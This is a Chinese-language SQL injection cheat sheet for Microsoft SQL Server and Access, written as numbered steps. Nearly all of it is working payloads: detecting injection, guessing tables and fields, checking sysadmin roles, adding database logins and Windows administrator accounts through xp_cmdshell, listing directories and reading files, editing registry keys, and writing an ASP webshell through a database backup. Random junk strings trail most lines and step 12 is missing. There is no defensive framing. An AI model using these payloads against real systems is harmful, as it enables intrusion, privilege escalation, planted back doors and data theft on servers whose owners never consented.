1.判断是否有注入;and 1=1 ;and 1=2 tV7{j'If
2.初步判断是否是mssql ;and user>0 !Z; Nv
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3.注入参数是字符'and [查询条件] and ''=' 4XeO^#
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' ZjnWbnW
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5.判断数据库系统 7[}WvfN8#
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;and (select count(*) from sysobjects)>0 mssql oK&G
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;and (select count(*) from msysobjects)>0 access TQ5kT?/{
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 vLCm,Bb2L
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 4_4|2L3
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 I;mc:@R<
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9.(1)猜字段的ascii值(access) ?Y9VviC
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 };cH5bYF
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 `1R[J4e
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10.测试权限结构(mssql) L_>LxF43
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- QO|jdlg
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- a#3,qp!
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- mpl^LF[
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- =&vRT;6
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- Uz7V2r%]
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- x}N1Wl=8g
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;and 1=(select IS_MEMBER('db_owner'));-- a+n?y)u
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11.添加mssql和系统的帐户 e?dR'*-z
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;exec master.dbo.sp_addlogin username;-- "o<&3c4
;exec master.dbo.sp_password null,username,password;-- &s&Ha{(!w
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- e\]CZ5hs3
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;exec master.dbo.xp_cmdshell 'net user username password et6@);F
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- <U""CAE
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- V j_z"t7q
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;insert dirs exec master.dbo.xp_dirtree 'c:\' IZ+ZIR@}ci
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;and (select top 1 paths from dirs)>0 ixo?o]Xb`
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 7j\jOklV
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 N>+L?C
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 >*[Bq;
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 4[m4u6z=
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 HVcd< :g0
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13.mssql中的存储过程 G+f@m,
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xp_regenumvalues 注册表根键, 子键 Y,C3E>}Dq
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 -<WQ>mrB&
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xp_regread 根键,子键,键值名 EX^j^#N
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 bcZ s+FOPd
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xp_regwrite 根键,子键, 值名, 值类型, 值 D<*#. >
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 QBfsdu<@^
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xp_regdeletevalue 根键,子键,值名 (E(kw="
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 ^3
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14.mssql的backup创建webshell X"qC&oZmf
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use model d*xKq"+
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create table cmd(str image); 5%n
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insert into cmd(str) values ('');
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backup database model to disk='c:\l.asp'; qm1; ^j&